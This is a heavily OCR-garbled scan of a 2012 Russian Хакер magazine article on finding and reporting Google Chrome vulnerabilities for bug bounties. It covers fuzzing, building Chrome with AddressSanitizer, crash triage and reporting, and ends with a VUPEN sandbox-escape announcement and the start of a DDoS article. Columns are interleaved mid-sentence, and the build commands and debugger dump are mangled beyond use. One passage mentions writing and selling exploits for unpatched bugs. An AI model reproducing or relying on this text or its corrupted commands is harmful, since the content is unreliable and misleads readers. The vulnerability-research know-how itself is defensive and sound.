работа «How Ореп 5hould Ореп 50uгce Ве? »;
bjt ly/uQywEh интересная работа
«Grammar-Based Interpreter Fuzz Testing».
Сегодня существует немало различных программ
а также все
с помощью которых
уязвимостей в софте с открытыми исходниками. В браузерном мире сама
Netscape На нашем диске ты найдешь скрипт сборки Chrome,
bug bounty,
можно неплохо заработать на поиске
инициировала это движение
уже в далеком и
1995
году, а затем
Mozilla
подхватили тенденцию. Прямо
перечисленные
сейчас я научу тебя , как выжать баксы
в статье публичные фаээеры .
из
018
Chгome.
on5ec.rul
Охота на жуков в
е SVGBIo.tecl: stlrt p.ge
Google Chrome
~ 2.DOM Node Removed
Chгomium 17.0.918.0 (Developer Build 106873 Linux)
Copyright © 2006-2011 The Chromium Authors. All Rights Reserved. Chromium is made possible ореп souгce
Ьу
the Chromium
ореп
source project and other
software .
)CClose
$Revision: 1.6 $
$Revision: 1.5 $ Фаээим брауэер собственной сборки
ОБ ИНИЦИАТИВЕ
не всегда стоит рассчитывать на получение
два метода могут смутить своими названиями,
Прежде чем хватат ься за поиск багов и написа
заявленной суммы. Вознаграждение может
однако далее мы подробно поговорим о них.
ние отчетов, с моей стороны было бы корректно
оказаться и больше
:1. Например,
рассказать читателю, с чем мы имеем дело.
человеку под ником
А дело мы имеем с
выплатили не
wushi из команды team509 509 долларов за найден
Program . В
Google Vulnerability Reward
рамках этой программы ко рпорация
500,
а
недавно
ную уязвимость просто ради шутки, из-за сим
добра предлагает денежное вознагражде-
воличного названия. Так что ребята в
ние всем, кто желает помочь проект у
тоже не без юмора.
Chrome
в повышении уровня безопасности. При
If'''liiii
Думаю , понятие фаззинга всем известно ,
поэтому не буду повторяться, а лишь опишу некоторые моменты, касающиеся браузеров .
Здесь, прежде всего, следует помнить о том,
В зависимости от типа приложения и его
что не ты один ищешь уязвимости
-
я смело
этом можно не только получить деньги , но и за
лицензии применяются разные методы по
предполож у, что это делают ты сячи людей
светиться в списке
иска уязвимостей . Но браузер с открытыми
по всему миру с помощью компьютеров и так
Hall 01 Fame,
куда включают
всех исследователей, которые так или иначе
исходниками предоставляет нам возможность
называемы х фаззинговых ферм. Так что это
помогли в исправлении багов. Чтобы попа сть
пользоваться абсолютно всеми доступными
самая настоящая гонка! И чтобы не отставать
в него, вовсе не обязательно претендовать
методами, что увеличивает шансы обнаружить
от других, твоя программа-фаззер должна об
на кеш, достаточно быть искренне заинтересо
баг. В данном случае я считаю целесообразным
ладать следующими свойствами:
ванным в оказании помощи, активно участво
прибегнуть как минимум к следующим методам
вать в проекте и положительно себя проявить.
поиска уязвимостей: фаззинг, изучение ис ход
высокой скоростью работы Iколичество
ников, бинарный анализ, « переоткрытие » ба
уникальныхтестоввединицувремени~
Эта программа, запуще 'нная в январе
2010
года, изначально предусматривала три уровня
гов, ручной поиск С тестированием . Последние
вознаграждения: $500, $1000 и $1337. Через
оригинальностью;
способностью воспроизведения крашей
Iлогированиеl.
полгода в программу, отметившую мини
юбилей, были внесены изменения, в том числе и введен четвертый уровень вознаграждения
-
теперь за обнаружение критического бага
дают $3133,7, а за отчет хороше го качества $1000 Iчто это за отчет, ты узнаешь, прочитав статью до концаl. Лидером команды безопасников
Chrome
является небезызвестный исследователь
Chris Evans. Вместе
с
Adam
Меiп он и раздает
Под оригинальностью я в первую очередь
СТАТИСТИКА
HALL OF FAME
подразумеваю какие-либо особенности, отли
чающие твой фаззер от тех, которые находятся в публичном доступе. Таким образом, лучше написать свой собственный фаззер, хотя, конечно, можно взять и любой доступный,
На сегодняшний день на странице
Google Security Hall 01 Fame
висит длинный
и регулярно пополняющийся список хакеров.
Но обычно там можно встретить одних и тех
но его необходимо модифицировать так, чтобы он мог генерировать уникальные тест-кейсы. Как ты понимаешь, нет никакого смысла в том, чтобы в сем дружно фаззить одни и те же баги.
кеш налево и направо. Первым человеком,
же известных багхантеров, всего около
которому выплатили сумму, соответствующую
человек (включая исследовательские группы
Да , можно ~айти какой-нибудь всеми забытый
новому «элитному» уровню, стал Сергей Глазу
и компании). За всё время существования
фаззер и использовать его. Но много ли будет
нов, нашедший уязвимость
инициативы было выплачено порядка
проку от инструмента, которым по какой-то
«Browser crash in HTML5 speech UI» Icrbug.com/68666 ). Правда,
ХАКЕР
02/157/ 2012
тысяч долларов!
60
270
причине никто не пользуется?
019
COVERSTORY Дополнительный вклад в оригинальность
кода, а только лишь после этого подключать
БИНАРНЫЙ АНАЛИЗ И РУЧНОЙ ПОИСК
вносит выбор исследуемого компонента.
голову. Н о ознакомление с исходниками в лю
Бинарный анализ имеет свои преимущества
Практически любой современный браузер
бом случае не повредит.
да же при наличии исходников, несмотря
на всю его сложность. Уровень исходников
представляет из себя этакий мультимегаком
байн
-
чего туда только не понапихано, чтобы
ПЕРЕОТКРЫТИЕ БАГОВ
и бинарь
-
это два совершенно разных
усладить нежную душу веб-разработчика или
Чтозначит « переоткрытие багов»? Очень
дизайнера. Ни один вендор также не хочет от
просто
ставать в гонке на соответствие требованиям
веряем, насколько хорошо они исправле
конкретными вещами. Программист пишет
ны. Например, уязвимость в
код в соответствии со своими предста~ления
-
листаем старые уязвимости и про
мира. В первом случае мы оперируем более абстрактными понятиями, а во втором
-
уже
в своих творениях абсолютно все современ
Mozilla Firefox с идентификатором СУЕ-2010-0179, 'позволяю щая выполнять произвольный код В Firebug,
ные фичи. Тут еще, конечно же, встает вопрос
была переоткрыта , после чего ей присвоили
Конечно, попытка проследить логику работы
выбора между скоростью внедрения и ценой
еще и идентификатор СУЕ-2010-3773 . Да,
какого-либо куска ко да в ассемблере, имея
за эту скорость. Как говорится, поспешишь
хоть и редко, но такое бывает
W3C,
теряя из-за этого некоторую долю рынка,
поэтому вендоры стремятся реализовывать
-
людей насмешишь. В нашем случае же
:-1
-
уязвимости,
ми о том, как он должен работать, а хакеры видят, как код работает в д ействительности .
на руках исходники, не оправды вает себя.
которую разработчик пло хо исправил, при
Здесь имеет смысл обращать внимание
сваивают еще один идентификатор . Несмотря
на такие низкоуровневые процессы, как
3, HTML 5, DОМ, 5VG, Canvas, Audio/Video, WebGL, Drag'n'Drop,
на то, что таким способом много уязвимостей
чтение из определенных участков памяти
не найдешь, анализ старых багов помогает по
или запись в них. К тому же для оптимизации
всякие хранилища и прочее и прочее. Что ка
нять, где разработчик'и чаще всего ошибаются
программы компиляторы могут менять код
сается самого
и на чем следУет заострять внимание. К тому
не предусмотренным программистом образом.
поспешишь -
багхантеров накормишь.
К таким фичам относятся С55
Chrome,
то там есть и собствен
ные разработки, например формат картинок
же этот способ позволяет попрактиковаться
В общем, то , что ты видишь,
WebP.
в изучении уязвимостей на реальных примерах
будет исполняться. Конечно, так или иначе
в исходниках. На баг-трекерах
ИЗУЧЕНИЕ ИСХОДНИКОВ
Mozilla
и
Webki!
э то не то, что
придется делать бинарный анализ, но тут всё
полным-полно описаний уяз вимостей как
уже зависит от того, как ты ищешь уязвимости
и , соответственно, с какой целью реверсишь
в случае с опенсорсными браузерами можно
от разработчиков, так и от
получить исходники И искать уязвимости
советую туда заглянуть. Лично я регулярно
н епосредственно в миллионах строк кода,
посещаю эти злачные места.
перебирая всё подряд , или же целенаправ
-
ZDI,
так что очень
К методам реинкарнации жуков относится
бинарь. Ручной поиск с тестированием проводится в случаях, когда автоматизировать проце сс по
ленно исследовать какой-либо компонент,
исследование баг-трекера или чейнджлога
иска уязвимастей сложно. Допустим, это может
допустим
и поиск еще не исправленных уязвимостей
быть проверка корректной работы политик безо
более трудоемкий, чем фаззинг. Тут нужны
в различны х браузерах. Несмотря на то что
пасности в каких -либо специфических условиях
усидчивость и желание рыться висходниках
баги , которые были признаны критическими
или при использовании новых технологий, поиск
часами напролет, а также уверенные знания
с точки зрения безопасности, обычно закры
багов , которые возникают, когда пользователь
С++ lих уровень должен быть не ниже, чем у тех
вают от публичного доступа , и тикет получает
выполняет определенную комбинацию действий
ребят, которые пишут данный браузерl. Я бы
статус
не слишком надеялся, что в коде удастся найти
всегда существует вероятность найти нечто
Да никак, поэтому тут можно или чисто случайно
какие-либо опечатки или недочеты , хотя и это
интересное. К
найти баг, что одному ресерчеру удается не так
не исключено . К тому же где гарантия того,
в меньшей степени, так как команда его раз
что тебя, после того как ты потратишь месяц
работчиков очень быстро реагирует на обнару
определенную технологию , при меняя нестан
на копание в коде, за пять минут не обойдет
женные ошибки и исправляет их. Др у го е дело
дартное мышление хаке ра.
XML-napcep. Однако
этот метод
pubIic только
после выхода патча ,
Chrome,
конечно, зто относится
через интерфейс. Н у вот как такое нафаззить?
часто, а можно и целенаправленно исследовать
чей-нибудь фаззер, написанный на коленке
5afari -
за пару часов? Если уж на то пошло, то процесс
и поэтому есть шанс в определенный про
было бы неплохо автоматизировать с помощью
межуток времени найти уязвимость, написать
Если ты собрался тестировать
использования статических анализаторов
сплойт и продать его.
то не забывай, что он работает на многих
Кажется , в
020
они подолгу тянут с исправлениями,
ТЕСТОВАЯ ПЛАТФОРМА ДЛЯ
CHROME
Chrome,
Chrome нашлось переполнение кучи
ХАКЕР
02/157/2012
Охота на жуков в
Chгome
и поэтому не могу знать об особенностях сбор
ки браузера на други х системах.
СБОРКА БРА У 3ЕРА Для начала давай скачаем исходники браузера со страницы проекта , а затем распакуем их.
Теперь необходимо исправить файл
.gclient,
добавив туда следующие строки :
.....................
·:.сщ;tQI!I_ deR~::....;.. с .... ·: s.r.cl.t.!1j.nLRi!rJyji!.~i!I!·:":._ ............ _ ._........I!:tt[l .:.JJ.s.rr;. ..J;tJr.Q!!!j.YJ!! •.Qг.gl.~)!I!Itг.J,ю!sI. ..
..... . _..!:IJ;!р~l.tЬJгd-.Рi!г..tуjiJ.Si!Л ·:.~ ............... Это укажет конфигуратору, что нужно ис пользовать
ASan. Для сборки ASan необ хо дим Clang [bit.ly/mf7cuG). После его установки вы полняем в командной строке сценарий ./build/ install-build-deps.sh. Этот скрипт разрешит нужные зависимости и наведет порядок там ,
где это необходимо . Теперь следует настроить переменные окружения, выполнив следующие к.оманды:
e.XPQrJ.J)blH=$HQMUr.te[lQ:t_:t.QQ1~.; .$P(\II:! .............. !=.9 ~rc .......... _ ............ _..................................... i\$AN= . [1.\'19 :.LtIJJrd_p<lr.tyJ_a5)'1]1 ..... ....... _.......... I\$АN_ВJ.N=.$.I\$Njji!.s.аl)_!=Ji!I!~ьtШJхL.РiD. ..............
AddressSanilizer диагностирует краш
в.~...К.l<.LJя,,:·.-mJl.V!IJ.. :;;IS<!I!-.рl;J<;!SJi~1;4AS~/ .. .
ОСях:
Windows [только 32 бита), Linux и Мас.
заменяет
malloc[)/free[) на свои функции, ко
a~<!f)_Plat;~lJ~:t.• txt....
................. _.................. .
Существует вполне весомая причина про
торые «маркируют » зоны вокруг используемой
с.(= .. $ASNu!)щсli!лg ..$Вl.AсК.LI5.Т'·.............
тестировать его на все х доступны х тебе
области памяти . Затем компилятор генерирует
С)Q(=::$А$NUШIIсJ;;II!g+.±_ $~_I.AСl<.Ц.$J"......... _ .. _
системах: какой-либо баг может не по казать
код, который проверяет меченые зоны. Если
GYP_Р~ПN.Е.$=. ~i!s.i!!J.=J .. Н!!J)х_!!s.е_tr;.m<!1Jщ;"е _.
себя на одной операционке, зато успешно
эа прош енный адрес помечен, выводится ошиб
['.e],e.a:i.e_e1(\:.ra_!;flj!g!;=:' :g..:.!д...:.f]1Q~J!!Jir:Lec...
проявится на другой . Например, недавно был
ка . Советую заглянуть на сайт проекта
fЧ.щtJQЛ:i.. :ff)9 :j..I1H!!~·~ .. :... g!;.H .e.nt .. r.!!r!.hQQk.s.
обнаружен крайне интересный баг в библио
представлено достаточно примеров, кото-
теке
рые позволяют понять , как работает данный
GNU
С, который проявлялся исклю
чительно под Лину ксом
!c rbug .com/48733 ).
Такж е попробуй протестировать максималь
-
там
_........
Команда для сборки самого браузера вы
инструмент.
глядит вот так:
Подготовленный таким образом Chгome
.. ..\ .....
ное количество браузеров. Одновременно
сильнооблегчаетзадачуопределениятипауяэ
l1]iJke....-j].g.JНJJ!.РI'!'Р.Е.=fiе.lе.аsе.
могут стоять только сапагу и любая другая
вимости, будь то
версия, но не
free
.CXX="S.CJQ(' С.С. hQ5t.= "$C~ ·~.. \ __ ........................ ...CX)(,.•bQ.sJ= .. SCXX·~...L.IN.K.~b..Q~:t=.::lc)(X::....c.hr.QJne.
dev, beta или stabIe вместе [кеш stabIe, beta или
heap buffer overflow,
use-afteг
или что-то др угое . Для этого достаточно по
~.c':'.".$cc
можно получить за версии
смотреть в логи
dev). Таким образом, после просты х расчетов
В процессе компиляции брауэера потребуется
получаем, что для фаззинга у нас есть как
хо рошее интернет-соединение для регулярной
часа. Но, как уже было упомянуто выше, этот
минимум
вариантов сборок браузера всего
ASan.
Однако не все так просто .
На моем компьютере сборка заняла меньше
синхронизации исходников, а также довольно
процесс весьма требователен к конфигурации,
лишь от одного производителя. Это суще
мощный компьютер для сборки и по сле дующе
поэтому советую выделить не меньше
ственно повышает шансы найти уязвимость,
го анализа краша. Но обо всем по порядку.
на жестком диске, как минимум
15
а если у тебя имеется возможность фаззи т ь
все это одновременно, то вообще прекрасно
Прежде чем приступить к делу, хочу
сказать, что я использовал UЬuпtu
12
50
Гб
Гб опера
тивной памяти и использовать мощный про
10.10, х64
цессор, чтобы сборка не затягивал ась.
процесс ускоряется в разы l Можно
-
исследовать готовый бинарник, а можно и самому собрать браузер. П оследний вариант имеет свои преимущества , о которых я сейчас и расскажу.
Google Chrome
можно собрат ь с АSап.
Что такое АSап? Это сокращение от
ТОП-5 ИССЛЕДОВАТЕЛЕЙ GOOGLE CHROME
Address
Sапitizег, который представляет собой еще один проект от гугловцев, призванный эа
менить Vаlgгiпd. Он работает гораздо быстрее
Valgrind.
Если последний замедляет программу
в десять раз, то
ASan -
всего в два. Этот ин
струме нт позволяет обнаруживать уязвимости
типа
use-after-free, оvегflоw/uпdегflоw кучи
и стека, а также другие багги, связанные с по вреждением памяти. Кроме того,
ASan
на ходи т
больше багов, чем старый добрый Vаlgгiпd. Он
ХАКЕР
02 / 157/ 2012
...,..... .. ~
~
~'r-
h:.~.........."...:.i;;.;._.
1. СЕРГЕЙ ГЛАЗУНОВ (54 уязвимости) 2. MIAUBIZ (49 уязвимостей) з. AКI HELIN (24 уязвимости) , . KUZCC (22 уязвимости)
5.
CHRISTIAN HOLLER (19
уязвимостей) 021
COVERSTORY
11111111114111 Если браузер собрался успешно, то запускаем
7 e6b!o!o!o!iic~,!ii!i1i11!Ji~~:ir::~!!!!!!!!~!!!!!!!!!!!!~~;;;;~;;;;;;~~~
его с такими параметрами:
А$.А!СQ!'ПQN.$.=.~t.<!J;~.= l
QJ4J;J8.ele<!seJ ch.t:_Qme.. ...с_с п.о =_s.<!.шJ.bQх ...Z?~;I, __.1.. t1JJrd_p.<lT1;y./..a ~.an/ ......
77е10000
С : 'VINDOV5'-systеа32'-.RPCRТ.f. . dll C:'VINDOVS'sys t ea32'5ecur32.dll С : 'VINDOU'S'ауstеаЗ2~IЗ2 _dll
77! 03 00 0 17feOOOO 77ffl000 77f 10000 77f 59000
..$.~.г.;i,.р1;.$./..а~.аО_~У.!lJ1;>9Jц,е.•.рУ....I ...С+:fjil t .
7е410000
7.,441000
С : 'V1NDOIIIS'&ystоа32'USERЗ2 . dll
77с l000 0
77с68000
C : 'VIHOOV5'systea32'-аsvcrt
7с9сОООО 769сОООО
Браузер запустится без песочницы, все ошибки будут перенаправлены на вход специ
. dll
C : 'VINOOV5'-systеа32'\SНELLЭ2 . dll С : 'VINOOV~уstеа32'USEREИV .dll C : 'U INOOUS'syst;ea32'VТSAPI32 . dll С: 'UINDOU~stea32'UINSТ•. dll C : 'UINDOVS'-s7Stеа32~1РI32 .dll
7dld8000 76&74000 76f50000 76f58000 76360000 76370000 5Ь860000 5Ь8Ь6000 77сООООО 77сО800D
C:' UINOOVEi's.ystea32'\VERSIOH.dll
отвечает за символы. Имей в виду, что утилита
76Ь40000 76b6d00D 76390000 763adOOO 773dDOOO 774d3000
С : 'UINDOVS'.avstоа32'UINИК . dll С : '1ПNDOVS'.systе.32ЧИК32 . Dtt С : 'V INDOlI~VinSxS'-x86_Нicrosof
аddг2liпе, которую использует зтот скриптом,
01сЗОООО 037а5000 74еЗОООО 74e9dOOO
пожирает огромное количество памяти во
76380000 76385000 6f500000 6f57dOOO
C : ~nts аnd Settings'-Atb.inistrator'-l.ocal C : 'V INDOV~ystea32~ICНED2 0 .dl1 C : 'V INDOV~ystea 32~IHG32 .dl1
ального фильтрующего скрипта, который
76f20000 76f47000
струментами для сборки статистики, можно
4l!dOOOOO
запустить и так :
10006000 01000000
71аЬОООО 71~7000 71ааОООО 71аа8000 4Ь665000 5м70000 54da8000 10 3а.2000 01 10Ь ООО 629сОООО 629с9000 77а80000 77Ы5000
. dll
C : '''IНDOV~te.32~I . Dtt C : 'VIHDOV5'-sуstеа32'-ОLEАСС . dll C : 'UINDOV5'.systea32~le32 .dl1 С : 'V IN[)()V$'.systеаЗ2'-ОLE1UТЗ2 . dll
61880000
запускать браузер вместе с парсерами и ин
.
C : 'V INDOV~ystea32~NS1P I .dll C:'VIHDOUS'systea32'VS2_32 .dll C : 'V INDOVS'-systе.З2'VS2 НEI.P .dll C:'J>ocuaents and Settings'-A.tb.inistrator'-l.ocal Settings'-App!ication
Do.t.o.~lе'\Chrcае'-А.ррli
C:'-Doc::u».ents аnd Settings'-Adainistrator'-local Settings'-A.pplication C:'l)ocuaents and. Settin9s'-Adainistrator~1 Settings'Application
Do.ta'Google'-Chrc8е'-Аррli Do.tа~lе'\Chroае'-А.ррli
С : 'VIНDOVS\.systеаЗ2'UхТЬеае . dll
C : 'VINDOV'S'-systеаЗ2'-I.PК . DU С : 'VIНDOV~ystеа32'cryptЗ2
.dll
77ЫОООО 77Ь32000
C : '''IHDOV5'-systеа32~SNl . dll
6SecOOOO 6618dOOO
C:'\Docuaents &nd Set.t.ings'-Adainistra.tor'-l.ocal Settinga'lpp!ication C : '-lЮcuaепts and Settiпgs'А-tb.iпistrаtar'-l.ocal Settin9s'-Application C : ~nts a.nd Settings'-Adainistrator'-l.ocal Settings'-1pplication
68Ь80000
Do.ta~le'-Chroae'-Appli Do.ta'\.Google'\Chroae'-Аррli Do.ta"-Gc::loglе'\Chroае'-А.ррli
~о~~~-i~оо~Оо~~j':есх==~~~ ~~og~~~~O~i!~~M~O~~!OOOOOOOS
Теперь, когда ты научился правильно со бирать тестовую платформу, настало время
C : 'VINDOV~stoa32'USPI0
76ЫОООО 76ЫЬООО 618ЬаООО 774еОООО 7761eOOO 77120000 771аЬООО
время работы 'у меня на нее уходило вплоть до 9 Гб). В принципе, совсем необязательно
t . Viпdоvs . Со_on-COntrols_6595Ь64144ссf ldC6 . 0 . 2600 . 6028_х-." Set.t.ings'lpplication Do.ta~le'-Chroae"'ppli
ebp-ООf8fff4 iopl-0 es-ОО2З f5-0038 9а-0000
I le,p-"с"JllUе
пу
up ei
р1
zr па ре ос eH-ООООО246
выбрать способ для поиска багов . По понятным Defaultec:1 to
причинам я не буду приводить здесь конкрет
oжpcrt
syabols for C:'J>ocuaents o.nd
Settings'Ad.inistrator~
ные рецепты по багхантингу и перечислять соответствующие мануалы, но для начала
посоветую остановиться на фаззинге и выбрать
правильный софт lесли, конечно, ты все-таки не захотел или не смог использовать свои
собственные наработки) . На данный момент доступно несколько достойных внимания публичны х фаззеров браузеров : cross_fuzz, ref_ fuzz, Canvas fuzzer от Michal Zalewski, jsfunfuzz от Jesse Rudermann, BF от Jeremy Brown. У все х
перечисленных фаззеров разные принципы работы: фаззинг ООМ, мутирование документа, фаззинг грамматики фаззинг
canvas
и
WebGL.
HTMLJava5cript,
Большая часть этих
фаззеров отработала свое и вряд ли сможет найти новые уникальные уязвимости
-
всё
требует доработки . Но разработчики браузеров
WinDbg схватил наЗОЙЛИВblЙ Stack overflow в Chrome
продолжают развивать некоторые фаззеры, на пример
jsfunfuzz. Подробно
описывать каждую
Вернемся к нашему браузеру. После выхода
из перечисленных программ было бы неце
новой сборки ты можешь обновить исходники
лесообразно, так что советую просто взять и х
с помощью команды «./gclient sync». Затем
вполне мог упустить часть уязвимостей из за сложности анализа или нехватки времени.
ЖУК ПОЙМАН, ЧТО ДАЛЬШЕ?
с нашего диска и самостоятельно попробовать
с ледует повторить вышеописанные операции
в деле .
для поиска багов. Чтобы не вводить каждый
Итак , допустим , ты нашел баг в
раз все команды при обновлении браузера,
ши сразу же о нем сообщать! Из обычного
я использую простой Ьаsh-скрипт, который
бага можно выжать гораздо больше, чем если
Don,
mlп any upd8tn from "'hln 18.... OetJlDll'ataQCIIIT.... ....,IO_~_ . . lIIIr8SISyouJ
.......
-@iOn1.
просто раскрыть разработчикам свой
не всегда полезно синхронизироваться, за
of-Concept.
частую лучше проверить состояние проекта
нужно обязательно рассказать. Для начала необходимо понять , является ли обнаруженный
статус Ореп, то можно качать сорцы, если
баг настоящей уязвимостью или нет.
то
Chrome
может и не собраться.
какие именно баги не являются уязвимостями:
которые регулярно в автоматическом режиме
005, ООМ - баги истощения памяти, 5tack exhaustion - истощение стека Iнапример,
собирают браузеры в разны х системах.
Chrome.
Так вот, зти шансы весьма и весьма
неплохи . За одну неделю фаззинга в
Chrome
мне удалось найти четыре уязвимости: одну
005
022
В принципе, на странице проекта указано,
Информацию эта страница получает от ботов,
Вероятно , тебя интересует, каковы шансы
Pwn20wn
Proof-
Тут есть масса нюансов, о которых
на странице bit.ly/s9wt5F. Если вверху висит
найти уязвимость в таком браузере, как
Ресерчеры недовольны правилами
Не спе
можно также найти на диске. Однако далеко
Closed,
PWN20WN Chrome attack is not very realistic:Sandbox escape required,no kernel bug allowed.Luckily а reaJ attacker doesn't have this limit.
Chrome.
и три типа
use-after-free.
В то время я
фаззил без А5ап, поэтому предполагаю , что
когда функция попала в рекурсию) . На всё остальное
- переполнение буфера или кучи, use-after-free и прочие известные нам баги следует обращать внимание. Если из-за 005 п'адает весь браузер , то ее стоит пометить как
5ecurity 'в багтраке такой баг будет помечен как некритичныЙI . Но большинство багов - это
ХАКЕР
02/157/2012
Охота на жуков в
дей с твительно только баги, поэтому, особенно
-
если долго занимаешься багхантингом , пере
других жуков , которые скучают по нам.
стаешь радовать с я при виде очередного
Snap! ». Иногда Chrome
«Aw,
прин удительно у бивает
не в первый и не последний раз, есть куча
действиях
Google Chrome
он дает ссылки на форму, которую
-
нужно заполнить, чтобы стать подрядчиком
И вот, наконец-то, мы сообщили о сво-
Google. Ужасная
форма, я тебе скажу. Во
ей первой уязвимости, сидим и ждем . Нет,
первых, она на английском , что , может, не так
процесс, чтобы избежать всяких неприятностей
не ждем , а продолжаем искать другие уяз
уж и страшно, во-вторых, там присутствует
типа истощения памяти . Самая популярная уяз
вимости. Обычно на с ообщение реагируют в те
множество полей, которые не так-то просто за
вимость среди браузеров
чение с уток , затем констатируют критичность
полнить . К тому же, если ты не гражданин США,
уязвимости и подтягивают соответствующи х
то тебе придется заполнить еще и специаль
с ле того, как ее уже освободили. Баги повреж
разработчиков , которые начинают процесс
ный РDF-файл , отсканировать его и отправиfь
дения памяти хорошо ловить инструментами
устранения бага и разработки патча .
по мылу. В этих формах следует указать инфор
-
это
use-after-Iree,
попытка использовать указатель на память по
типа
Valgrind
или
ASan.
.
мацию о реквизитах твоего банковского счета
Это быстро и удобно,
но можно , конечно, использовать и отладчик
ПОЛУЧЕНИЕ КЕША
и некоторую другую персональную информацию
Это одновременно и приятный, и муторный про
вроде почтового адреса, телефона и т. д. Затем,
цесс. Точных сроков получения вознаграждения
в зависимости оттого, насколько быстроты
вера проекта . И сразу предупрежу начинающих
не существует, так как всё зависит оттого ,
справишься и когда отреагирует человек , кото
-
на каком этапе планирования релизабраузера
рый управляет тикетами, тебя примут в систему
RelaunchChromeBrowserWithNewCo mmandLinellNeeded, то зто значит, что с симво
ты отправил сообщение о ба ге, а также оттого,
Google. Заполнять
что он собой представляет. Бывает так, что
бится. Через какое-то время после регистрации
ла ми непорядок , их нужно перезагрузить:
уязвимость, которую ты наuJел, не так-то просто
тебе сообщат, что деньги' находятся в системе
исправить, ошибка может затрагивать сразу
пере вода .
WinDbg . Под виндой я использую WiпDЬg - все нужные символы доступны gdb
или
с сер
если в стеке вызовов содержится много
стр о к типа
! $~,"
несколько компонентов и требовать от раз
noi~y __ _
.r.e~Q<ld j d
больше ничего не понадо
ДОМАШНЕЕ ЗАДАНИЕ
работчика тщательной проверки. Теперь пред
/f.. /0
положим, что тебе уже пообещали выплатить После того как ты определил, что некий баг
l;iадеюсь, мне удалось заинтересовать тебя ре
определенную сумму. Вернее, в баг-трекере
серчем
указали лейбл, например
ждет новых исследователей. Для начала посети
Google Chrome,
ведь
Hall 01 Fame
всегда
и не отсылать. Дело в том, чт о оценка твоей
reward-500. Ты также увидишь стандартный текст IBoilerplate textl с предупреждением о том, что до выхода
уязвимости напрямую зависит от того, на
исправления нежелательно разглашать под
комментарии от команды безопасников, и ана
сколько ты облегчишь жизнь разработчикам.
робную информацию об у язвимости, иначе это
лиз уязвимостей, и немало смешных перлов
Чем проще понять, в чем суть бага, тем бы
может привести к невыплате воэнаграждения .
от пользователей. Полагаю, я привел достаточ
стрей его исправят. В противном случае про
Затем тебе нужно дождаться , когда с тобой
ное количество аргументов, чтобы мотивировать
цесс выпуска релиза затянется, а ты не скоро
свяжется
тебя на поиски уязвимостей в
-
зто не просто краш таба, а самая настоящая
у язвимость, можешь отсылать отчет. А можешь
Chris Evans
баг-трекер Хрома
-
обещаю, что там не соску
чишься. На баг-трекере можно найти и полезные
и сообщит о дальнейших
Google Chrome. I
п о л у чишь свой кеш. Образец, который ты
с обрал с я посылать, должен быть максимально у резан и содержать только то, что крашит таб или браузер. Так легче локализовать баг и по
VU?cN secu'
у
нять, что именно вызывает краш . Да и отладка , конечно же, ускоряется и упрощается. Итак,
tloт~
1
--
VUPEN Prodtlcl..
--...,......
I
Industry SoluliOn"
I
Vulllt~rl1bil'ly Rcscal'('ll
----..,...- VUPEN rr~ Resources
VUPEN Vul"er4bIlity Research Videos
рики нужно описать то, как заставить образец
WPEN Se:cunty Advisones
GOOq !f;
крашить браузер . Или же, если там всё и так
WPEN R,esa.rch Oemos
красивый сзмпл есть, но к нему необходимо еще и описание . Без излишних змоций и ли
ясно, можно просто написать, что при загрузке
приаттаченного файла происходит то-то и то
то . Ну, или не файла , всё зависит от того , что т ы нашел . Лучше всего , если ты сам понял суть бага и можешь четко и грамотно описать, где находится проблемный участок кода . Это еще один шанс повысить вознаграждение и изба вить разработчиков от лишней работы . Реаль
но качественный отчет от
Chris Rohll
оценили
в целую штуку, хотя он и касался бага , который
~~.
СЬсо mе
Pwned
ьу
YYPfN o ko
~lI1d
I
R('!~our(es
I
COlllact Sale..
I
COnlpanv
Den1onstratlons
Hi everyone, Zero·d.y Threots
We
Момог
Hailin91ist .nd Newsletters Explan.tlon of Terms Advanced Seardl Engine
"ге
..
аnnOlmсе;
that we
муе offic:i,ally
Pwned Google Chrome and its sandbox.
ом of the most sophisbc.at~ codes we hew; цеп аnd Ct"e:ated $о seCl.lnty (еМиге •• nduding ASLR!DEP/Sandbox (ancl Wlthout explolting 111 Windows k8mol
video shows tho exploit in <1Iction wi'th • defllult inst.lIaotion of Google Chrome vll,0.696.6S on Microsoft.
:;t'ec:sa?teS~;Zu~)p~ad~:~ois ~~:~i;\tQdo~~~~ ~~:~::~i~:: =~ti~~e ::fr:u~ outside the sandbox
(а!
Medium integrity level),
white OIrome М! оnе of the moй secure s.ndboxes and М! always survlved the PwnЮwn contest during the 'Ш three years, W8 n've now uncovered • reHable w.y 10 exearte arbittary code on аnу default installatlon of ehrome desPl\e rts яndtюx. ASLЯ end [)ЕР.
~:J:d%'::S::~u:~rts~aC:d·~ue=:'~~Se~ ~~::~~ pV:~n~(o~~!:~obij4vber::e~
..,,;ш. J.lIitdШ:
The
expkмt
МАТСН)
shown in this video is
~~;:~~ ~PE~e~J~~~ ~:~I ~= ;;::~tt;~~tl .~~~). undisdosed (Qday) vulnerabilities тhe
• Нovе11 Groupwise Calendar RRULf Remote Buffer Overflow (НО ~integertJst"
(un)hapPV 10
тhe 8)(p\oi
far as it: b~sses
Cu..,tomer Ared •
So pdbgx lAS LВ /QEP В УРА"
WPEN Res8arc:h Те.т ВЮg
Security New$ _nd Thre.ts
1
wolics on both e hrome versions
создает среднюю угрозу. Не знаю, что тут еще
11,Х,
11,)(, 13.x . nd 14.х,
• Ноуеl1 GroupWlse
C.lendar RRULE "BVWEEКNO" Remote "'еmoгу CorruptlOn (HO-МАтен)
• Novell GroupWise Qlenclor "ТZNAМE" Processing R,emote 8uffer Overflow (сУе2011-0333) • Novell GroupWlse e.lendar "RRULE" ProceS51ng R,emote Неор Buffer Overflow (HO-МАтен)
• Divx Plus Web PlayerAc:tiveX"fiJe:/r
добавить , видимо, стоит просто открыть и по
иАоI
PnIce$Slng
R,emote Buffer Overflow (NO-МATCН)
читать зтот сабмит по адресу cr bug .com/63B66 . Однако здесь не стоит тянуть время, так как кто-нибудь может описать уязвимость раньше тебя . Однажды такое произошло и со мной. Сейчас я пишу эти строки, а чуть раньше
на мой ящик пришло сообщение, что новая уязвимость, о которой я сообщил, является
д у бликатом . Уязвимость тянула на критиче с кий уровень . К сожалению, я опоздал всего на пар у дней , и кеш получил человек, первым сообщивший о баге. Такие дубликаты сливают
Iделают mergel с ранее обнаруженной уязви мостью. Да, обидно, но ничего не поделаешь
ХАКЕР
02 /157/ 2012
Vupen демонстрирует эксппойт ДЛА Google Chrome
023
COVERSTORY
от я. . . .
О
DDO S- ATAKA X В
ОБЩЕМ
Атаки появились на заре интернета. Невоз можно сказать, когда возникла такая услуга,
как
DDoS, -
зто тайна, покрытая мраком.
